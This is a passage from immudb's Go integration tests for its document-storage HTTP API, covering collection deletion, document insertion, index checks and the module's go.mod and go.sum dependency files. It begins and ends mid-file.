s.collection_name) collection.Keys().ContainsOnly("collection") collection.Value("collection").Object().Keys().ContainsOnly("name", "documentIdFieldName", "fields", "indexes") var employees models.Collection collection.Value("collection").Object().Decode(&employees) assert.Equal(s.T(), employees.Name, s.collection_name) assert.Equal(s.T(), employees.DocumentIdFieldName, "_id") assert.Equal(s.T(), len(employees.Fields), 6) assert.Equal(s.T(), employees.Fields[0].Name, "_id") assert.Equal(s.T(), employees.Fields[1].Name, "birth_date") assert.Equal(s.T(), employees.Fields[2].Name, "first_name") assert.Equal(s.T(), employees.Fields[3].Name, "last_name") assert.Equal(s.T(), employees.Fields[4].Name, "gender") assert.Equal(s.T(), employees.Fields[5].Name, "hire_date") assert.Equal(s.T(), len(employees.Indexes), 3) assert.Equal(s.T(), employees.Indexes[0].Fields[0], "_id") assert.Equal(s.T(), employees.Indexes[0].IsUnique, true) assert.Equal(s.T(), employees.Indexes[1].Fields[0], "birth_date") assert.Equal(s.T(), employees.Indexes[1].Fields[1], "last_name") assert.Equal(s.T(), employees.Indexes[1].IsUnique, true) assert.Equal(s.T(), employees.Indexes[2].Fields[0], "gender") assert.Equal(s.T(), employees.Indexes[2].Fields[1], "hire_date") assert.Equal(s.T(), employees.Indexes[2].IsUnique, true) } func TestIndexTestSuite(t *testing.T) { suite.Run(t, new(IndexTestSuite)) } ================================================ FILE: test/document_storage_tests/documents_tests/delete_collections_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( "fmt" "net/http" "testing" "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/actions" "github.com/gavv/httpexpect/v2" "github.com/google/uuid" "github.com/stretchr/testify/suite" ) type DeleteCollectionsTestSuite struct { suite.Suite expect *httpexpect.Expect token string collection_name string } func (s *DeleteCollectionsTestSuite) SetupTest() { s.expect, s.token = actions.OpenSession(s.T()) s.collection_name = "a" + uuid.New().String() } func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithName() { actions.CreateCollectionWithName(s.expect, s.token, s.collection_name) s.expect.DELETE(fmt.Sprintf("/collection/%s", s.collection_name)). WithHeader("grpc-metadata-sessionid", s.token). Expect(). Status(http.StatusOK). JSON().Object().IsEmpty() s.expect.GET(fmt.Sprintf("/collection/%s", s.collection_name)). WithHeader("grpc-metadata-sessionid", s.token). Expect(). Status(http.StatusInternalServerError) } func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithNameAndOneField() { actions.CreateCollectionWithNameAndOneField(s.expect, s.token, s.collection_name) s.expect.DELETE(fmt.Sprintf("/collection/%s", s.collection_name)). WithHeader("grpc-metadata-sessionid", s.token). Expect(). Status(http.StatusOK). JSON().Object().Empty() s.expect.GET(fmt.Sprintf("/collection/%s", s.collection_name)). WithHeader("grpc-metadata-sessionid", s.token). Expect(). Status(http.StatusInternalServerError) } func (s *DeleteCollectionsTestSuite) TestDeleteCollectionCreatedWithNameAndMultipleFields() { actions.CreateCollectionWithNameAndMultipleFields(s.expect, s.token, s.collection_name) s.expect.DELETE(fmt.Sprintf("/collection/%s", s.collection_name)). WithHeader("grpc-metadata-sessionid", s.token). Expect(). Status(http.StatusOK). JSON().Object().Empty() s.expect.GET(fmt.Sprintf("/collection/%s", s.collection_name)). WithHeader("grpc-metadata-sessionid", s.token). Expect(). Status(http.StatusInternalServerError) } func (s *DeleteCollectionsTestSuite) TestDeleteNonExistingCollection() { error := s.expect.DELETE(fmt.Sprintf("/collection/%s", s.collection_name)). WithHeader("grpc-metadata-sessionid", s.token). Expect(). Status(http.StatusInternalServerError). JSON().Object() error.Keys().ContainsAll("code", "error", "message") error.Value("code").IsEqual(2) error.Value("error").IsEqual("collection does not exist") error.Value("message").IsEqual("collection does not exist") } func TestDeleteCollectionsTestSuite(t *testing.T) { suite.Run(t, new(DeleteCollectionsTestSuite)) } ================================================ FILE: test/document_storage_tests/documents_tests/go.mod ================================================ module github.com/codenotary/immudb/test/document_storage_tests/documents_tests go 1.24.0 require ( github.com/google/uuid v1.3.0 github.com/stretchr/testify v1.8.2 ) require ( github.com/ajg/form v1.5.1 // indirect github.com/andybalholm/brotli v1.0.4 // indirect github.com/fatih/color v1.13.0 // indirect github.com/fatih/structs v1.1.0 // indirect github.com/gobwas/glob v0.2.3 // indirect github.com/google/go-querystring v1.1.0 // indirect github.com/gorilla/websocket v1.4.2 // indirect github.com/hpcloud/tail v1.0.0 // indirect github.com/imkira/go-interpol v1.1.0 // indirect github.com/klauspost/compress v1.15.0 // indirect github.com/kr/pretty v0.1.0 // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.17 // indirect github.com/mitchellh/go-wordwrap v1.0.1 // indirect github.com/sanity-io/litter v1.5.5 // indirect github.com/sergi/go-diff v1.0.0 // indirect github.com/valyala/bytebufferpool v1.0.0 // indirect github.com/valyala/fasthttp v1.34.0 // indirect github.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb // indirect github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 // indirect github.com/xeipuuv/gojsonschema v1.2.0 // indirect github.com/yalp/jsonpath v0.0.0-20180802001716-5cc68e5049a0 // indirect github.com/yudai/gojsondiff v1.0.0 // indirect github.com/yudai/golcs v0.0.0-20170316035057-ecda9a501e82 // indirect golang.org/x/net v0.50.0 // indirect golang.org/x/sys v0.41.0 // indirect gopkg.in/fsnotify.v1 v1.4.7 // indirect gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect moul.io/http2curl/v2 v2.3.0 // indirect ) require ( github.com/davecgh/go-spew v1.1.1 // indirect github.com/gavv/httpexpect/v2 v2.15.0 github.com/pmezard/go-difflib v1.0.0 // indirect gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect ) ================================================ FILE: test/document_storage_tests/documents_tests/go.sum ================================================ github.com/ajg/form v1.5.1 h1:t9c7v8JUKu/XxOGBU0yjNpaMloxGEJhUkqFRq0ibGeU= github.com/ajg/form v1.5.1/go.mod h1:uL1WgH+h2mgNtvBq0339dVnzXdBETtL2LeUXaIv25UY= github.com/andybalholm/brotli v1.0.4 h1:V7DdXeJtZscaqfNuAdSRuRFzuiKlHSC/Zh3zl9qY3JY= github.com/andybalholm/brotli v1.0.4/go.mod h1:fO7iG3H7G2nSZ7m0zPUDn85XEX2GTukHGRSepvi9Eig= github.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= github.com/fatih/structs v1.1.0 h1:Q7juDM0QtcnhCpeyLGQKyg4TOIghuNXrkL32pHAUMxo= github.com/fatih/structs v1.1.0/go.mod h1:9NiDSp5zOcgEDl+j00MP/WkGVPOlPRLejGD8Ga6PJ7M= github.com/gavv/httpexpect/v2 v2.15.0 h1:CCnFk9of4l4ijUhnMxyoEpJsIIBKcuWIFLMwwGTZxNs= github.com/gavv/httpexpect/v2 v2.15.0/go.mod h1:7myOP3A3VyS4+qnA4cm8DAad8zMN+7zxDB80W9f8yIc= github.com/gobwas/glob v0.2.3 h1:A4xDbljILXROh+kObIiy5kIaPYD8e96x1tgBhUI5J+Y= github.com/gobwas/glob v0.2.3/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8= github.com/google/go-cmp v0.5.2 h1:X2ev0eStA3AbceY54o37/0PQ/UWqKEiiO2dKL5OPaFM= github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8= github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU= github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc= github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/hpcloud/tail v1.0.0 h1:nfCOvKYfkgYP8hkirhJocXT2+zOD8yUNjXaWfTlyFKI= github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= github.com/imkira/go-interpol v1.1.0 h1:KIiKr0VSG2CUW1hl1jpiyuzuJeKUUpC8iM1AIE7N1Vk= github.com/imkira/go-interpol v1.1.0/go.mod h1:z0h2/2T3XF8kyEPpRgJ3kmNv+C43p+I/CoI+jC3w2iA= github.com/klauspost/compress v1.15.0 h1:xqfchp4whNFxn5A4XFyyYtitiWI8Hy5EW59jEwcyL6U= github.com/klauspost/compress v1.15.0/go.mod h1:/3/Vjq9QcHkK5uEr5lBEmyoZ1iFhe47etQ6QUkpK6sk= github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.17 h1:BTarxUcIeDqL27Mc+vyvdWYSL28zpIhv3RoTdsLMPng= github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0= github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= github.com/onsi/ginkgo v1.10.1 h1:q/mM8GF/n0shIN8SaAZ0V+jnLPzen6WIVZdiwrRlMlo= github.com/onsi/ginkgo v1.10.1/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= github.com/onsi/gomega v1.7.0 h1:XPnZz8VVBHjVsy1vzJmRwIcSwiUO+JFfrv/xGiigmME= github.com/onsi/gomega v1.7.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY= github.com/pkg/diff v0.0.0-20200914180035-5b29258ca4f7/go.mod h1:zO8QMzTeZd5cpnIkz/Gn6iK0jDfGicM1nynOkkPIl28= github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/sanity-io/litter v1.5.5 h1:iE+sBxPBzoK6uaEP5Lt3fHNgpKcHXc/A2HGETy0uJQo= github.com/sanity-io/litter v1.5.5/go.mod h1:9gzJgR2i4ZpjZHsKvUXIRQVk7P+yM3e+jAF7bU2UI5U= github.com/sergi/go-diff v1.0.0 h1:Kpca3qRNrduNnOQeazBd0ysaKrUJiIuISHxogkT9RPQ= github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= github.com/stretchr/testify v0.0.0-20161117074351-18a02ba4a312/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8= github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/tailscale/depaware v0.0.0-20210622194025-720c4b409502/go.mod h1:p9lPsd+cx33L3H9nNoecRRxPssFKUwwI50I3pZ0yT+8= github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw= github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= github.com/valyala/fasthttp v1.34.0 h1:d3AAQJ2DRcxJYHm7OXNXtXt2as1vMDfxeIcFvhmGGm4= github.com/valyala/fasthttp v1.34.0/go.mod h1:epZA5N+7pY6ZaEKRmstzOuYJx9HI8DI1oaCGZpdH4h0= github.com/valyala/tcplisten v1.0.0/go.mod h1:T0xQ8SeCZGxckz9qRXTfG43PvQ/mcWh7FwZEA7Ioqkc= github.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU= github.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb h1:zGWFAtiMcyryUHoUjUJX0/lt1H2+i2Ka2n+D3DImSNo= github.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU= github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 h1:EzJWgHovont7NscjpAxXsDA8S8BMYve8Y5+7cuRE7R0= github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415/go.mod h1:GwrjFmJcFw6At/Gs6z4yjiIwzuJ1/+UwLxMQDVQXShQ= github.com/xeipuuv/gojsonschema v1.2.0 h1:LhYJRs+L4fBtjZUfuSZIKGeVu0QRy8e5Xi7D17UxZ74= github.com/xeipuuv/gojsonschema v1.2.0/go.mod h1:anYRn/JVcOK2ZgGU+IjEV4nwlhoK5sQluxsYJ78Id3Y= github.com/yalp/jsonpath v0.0.0-20180802001716-5cc68e5049a0 h1:6fRhSjgLCkTD3JnJxvaJ4Sj+TYblw757bqYgZaOq5ZY= github.com/yalp/jsonpath v0.0.0-20180802001716-5cc68e5049a0/go.mod h1:/LWChgwKmvncFJFHJ7Gvn9wZArjbV5/FppcK2fKk/tI= github.com/yudai/gojsondiff v1.0.0 h1:27cbfqXLVEJ1o8I6v3y9lg8Ydm53EKqHXAOMxEGlCOA= github.com/yudai/gojsondiff v1.0.0/go.mod h1:AY32+k2cwILAkW1fbgxQ5mUmMiZFgLIV+FBNExI05xg= github.com/yudai/golcs v0.0.0-20170316035057-ecda9a501e82 h1:BHyfKlQyqbsFN5p3IfnEUduWvb9is428/nNb5L3U01M= github.com/yudai/golcs v0.0.0-20170316035057-ecda9a501e82/go.mod h1:lgjkn3NuSvDfVJdfcVVdX+jpBxNmX4rDAzaS45IcYoM= github.com/yudai/pp v2.0.1+incompatible h1:Q4//iY4pNF6yPLZIigmvcl7k/bPgrcTPIFIcmawg5bI= github.com/yudai/pp v2.0.1+incompatible/go.mod h1:PuxR/8QJ7cyCkFp/aUDS+JY727OFEZkTdatxwunjIkc= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20220214200702-86341886e292/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.50.0 h1:ucWh9eiCGyDR3vtzso0WMQinm2Dnt8cFMuQa9K33J60= golang.org/x/net v0.50.0/go.mod h1:UgoSli3F/pBgdJBHCTc+tp3gmrU4XswgGRgtnwWTfyM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220227234510-4e6760a101f9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.41.0 h1:Ivj+2Cp/ylzLiEU89QhWblYnOE9zerudt9Ftecq2C6k= golang.org/x/sys v0.41.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.34.0 h1:oL/Qq0Kdaqxa1KbNeMKwQq0reLCCaFtqu2eNuSeNHbk= golang.org/x/text v0.34.0/go.mod h1:homfLqTYRFyVYemLBFl5GgL/DWEiH5wcsQ5gSh1yziA= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20201211185031-d93e913c1a58/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/fsnotify.v1 v1.4.7 h1:xOHLXZwVvI9hhs+cLKq5+I5onOuwQLhQwiu63xxlHs4= gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= moul.io/http2curl/v2 v2.3.0 h1:9r3JfDzWPcbIklMOs2TnIFzDYvfAZvjeavG6EzP7jYs= moul.io/http2curl/v2 v2.3.0/go.mod h1:RW4hyBjTWSYDOxapodpNEtX0g5Eb16sxklBqmd2RHcE= ================================================ FILE: test/document_storage_tests/documents_tests/insert_documents_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( "testing" "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/actions" "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/models" "github.com/gavv/httpexpect/v2" "github.com/google/uuid" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/suite" ) type InsertDocumentsTestSuite struct { suite.Suite expect *httpexpect.Expect sessionID string collection *httpexpect.Object } func (s *InsertDocumentsTestSuite) SetupTest() { s.expect, s.sessionID = actions.OpenSession(s.T()) s.collection = actions.CreateCollectionWithNameAndMultipleFields(s.expect, s.sessionID, uuid.New().String()) } func (s *InsertDocumentsTestSuite) TestInsertOneDocumentWithMultipleFields() { documentModel := actions.InsertOneDocumentWithMultipleFields(s.expect, s.sessionID, s.collection) fieldComparison := models.FieldComparison{} fieldComparison.Field = "first_name" fieldComparison.Operator = "EQ" fieldComparison.Value = documentModel.FirstName documentFound := actions.SearchDocuments(s.expect, s.sessionID, s.collection, fieldComparison) documentFound.Keys().ContainsOnly("_id", "birth_date", "first_name", "last_name", "gender", "hire_date") var employee models.Employee documentFound.Decode(&employee) assert.Equal(s.T(), employee.BirthDate, "1964-06-02") assert.Equal(s.T(), employee.FirstName, "Bezalel") assert.Equal(s.T(), employee.LastName, "Simmel") assert.Equal(s.T(), employee.Gender, "F") assert.Equal(s.T(), employee.HireDate, "1985-11-21") } func TestInsertDocumentsSuite(t *testing.T) { suite.Run(t, new(InsertDocumentsTestSuite)) } ================================================ FILE: test/document_storage_tests/documents_tests/models/collections.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package models type Collection struct { Name string `json:"name"` DocumentIdFieldName string `json:"documentIdFieldName"` Fields []Field `json:"fields"` Indexes []Index 